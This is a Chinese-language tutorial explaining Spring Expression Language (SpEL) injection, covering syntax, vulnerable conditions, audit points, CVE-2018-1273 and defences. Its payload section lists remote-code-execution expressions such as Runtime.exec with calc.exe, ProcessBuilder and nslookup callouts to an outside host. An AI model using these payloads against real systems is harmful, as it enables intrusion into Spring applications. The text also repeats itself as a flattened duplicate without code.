SPEL注入详解
字数 1149 2025-08-11 00:55:07

Spring表达式语言(SpEL)注入详解

1. SpEL简介

SpEL(Spring Expression Language)是Spring框架中的一种强大的表达式语言,比JSP的EL更强大,具有方法调用和字符串模板功能。它是Spring框架核心功能之一,用于通过依赖注入方式管理Bean之间的依赖关系。

1.1 表达式语言概念

表达式语言/模板:在固定格式中填充变量的技术。类似的语言包括:

  • EL:常用于JSP页面
  • OGNL:Struts框架中常见

2. SpEL功能概述

SpEL支持以下主要功能:

  • 文字表达式
  • 布尔和关系运算符
  • 正则表达式
  • 类表达式
  • 访问属性、数组、列表、映射
  • 方法调用
  • 关系运算符
  • 赋值
  • 调用构造方法
  • Bean引用(使用@符号)
  • 数组构造
  • 内联列表
  • 三元运算符
  • 变量表达式
  • 用户定义函数
  • 集合投影
  • 集合选择
  • 模板化表达式

3. SpEL基本用法

3.1 基本语法示例

ExpressionParser parser = new SpelExpressionParser(); // 创建解析器
Expression exp = parser.parseExpression("'Hello World'"); // 解析表达式
String message = (String) exp.getValue(); // 执行表达式并获取值

3.2 上下文设置

ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context = new StandardEvaluationContext("rui0"); // 设置上下文
context.setVariable("variable", "ruilin"); // 设置变量
String result1 = parser.parseExpression("#variable").getValue(context, String.class); // 取值

4. SpEL语法详解

SpEL使用#{...}作为定界符,支持:

  • 引用对象:#{car}
  • 引用对象属性:#{car.brand}
  • 方法调用:#{car.toString()}
  • 链式操作

4.1 T()运算符

用于调用类作用域的方法和常量:

#{T(java.lang.Math)} // 返回Math类对象

5. SpEL常用功能

5.1 类类型表达式

ExpressionParser parser1 = new SpelExpressionParser();
Expression exp1 = parser1.parseExpression("T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")");
Object value = exp1.getValue(); // 执行命令

5.2 方法调用

ExpressionParser parser2 = new SpelExpressionParser();
Expression exp2 = parser2.parseExpression("'abc'.substring(2,3)");
String message2 = (String) exp2.getValue();

5.3 变量表达式

context.setVariable("variable", "ruilin");
String result1 = parser.parseExpression("#variable").getValue(context, String.class);

5.4 模板表达式

ExpressionParser parser5 = new SpelExpressionParser();
Expression exp5 = parser2.parseExpression("spel test is #{T(java.lang.Math).random()}", new TemplateParserContext());
String message5 = (String) exp2.getValue(String.class);

6. SpEL注入漏洞

6.1 漏洞成因

当满足以下条件时,可能产生SpEL注入漏洞:

  1. 评估表达式外部可控
  2. 使用StandardEvaluationContext(默认使用)
  3. 执行了getValue()等操作

6.2 评估上下文区别

  • SimpleEvaluationContext:限制功能,更安全
  • StandardEvaluationContext:提供全部功能,风险更高

6.3 代码审计要点

检查以下调用链:
parseExpression()StandardEvaluationContext()getValue()

6.4 常见Payload

${12*12}
T(java.lang.Runtime).getRuntime().exec("nslookup a.com")
T(Thread).sleep(10000)
#this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup a.com')
new java.lang.ProcessBuilder({'nslookup a.com'}).start()

7. 实际漏洞案例

  • SpringBoot SpEL表达式注入漏洞
  • Spring Data Commons远程代码执行漏洞(CVE-2018-1273)

8. 防御措施

  1. 使用SimpleEvaluationContext替代StandardEvaluationContext
  2. 对用户输入进行严格过滤和验证
  3. 避免直接执行用户提供的表达式
  4. 使用安全的解析器配置

9. 总结

SpEL注入是Spring应用中常见的安全风险,理解其工作原理和潜在风险对于开发安全应用至关重要。通过合理配置和使用安全的评估上下文,可以有效降低SpEL注入的风险。

Spring表达式语言(SpEL)注入详解 1. SpEL简介 SpEL(Spring Expression Language)是Spring框架中的一种强大的表达式语言,比JSP的EL更强大,具有方法调用和字符串模板功能。它是Spring框架核心功能之一,用于通过依赖注入方式管理Bean之间的依赖关系。 1.1 表达式语言概念 表达式语言/模板:在固定格式中填充变量的技术。类似的语言包括: EL:常用于JSP页面 OGNL:Struts框架中常见 2. SpEL功能概述 SpEL支持以下主要功能: 文字表达式 布尔和关系运算符 正则表达式 类表达式 访问属性、数组、列表、映射 方法调用 关系运算符 赋值 调用构造方法 Bean引用(使用@符号) 数组构造 内联列表 三元运算符 变量表达式 用户定义函数 集合投影 集合选择 模板化表达式 3. SpEL基本用法 3.1 基本语法示例 3.2 上下文设置 4. SpEL语法详解 SpEL使用 #{...} 作为定界符,支持: 引用对象: #{car} 引用对象属性: #{car.brand} 方法调用: #{car.toString()} 链式操作 4.1 T()运算符 用于调用类作用域的方法和常量: 5. SpEL常用功能 5.1 类类型表达式 5.2 方法调用 5.3 变量表达式 5.4 模板表达式 6. SpEL注入漏洞 6.1 漏洞成因 当满足以下条件时,可能产生SpEL注入漏洞: 评估表达式外部可控 使用 StandardEvaluationContext (默认使用) 执行了 getValue() 等操作 6.2 评估上下文区别 SimpleEvaluationContext :限制功能,更安全 StandardEvaluationContext :提供全部功能,风险更高 6.3 代码审计要点 检查以下调用链: parseExpression() → StandardEvaluationContext() → getValue() 6.4 常见Payload 7. 实际漏洞案例 SpringBoot SpEL表达式注入漏洞 Spring Data Commons远程代码执行漏洞(CVE-2018-1273) 8. 防御措施 使用 SimpleEvaluationContext 替代 StandardEvaluationContext 对用户输入进行严格过滤和验证 避免直接执行用户提供的表达式 使用安全的解析器配置 9. 总结 SpEL注入是Spring应用中常见的安全风险,理解其工作原理和潜在风险对于开发安全应用至关重要。通过合理配置和使用安全的评估上下文,可以有效降低SpEL注入的风险。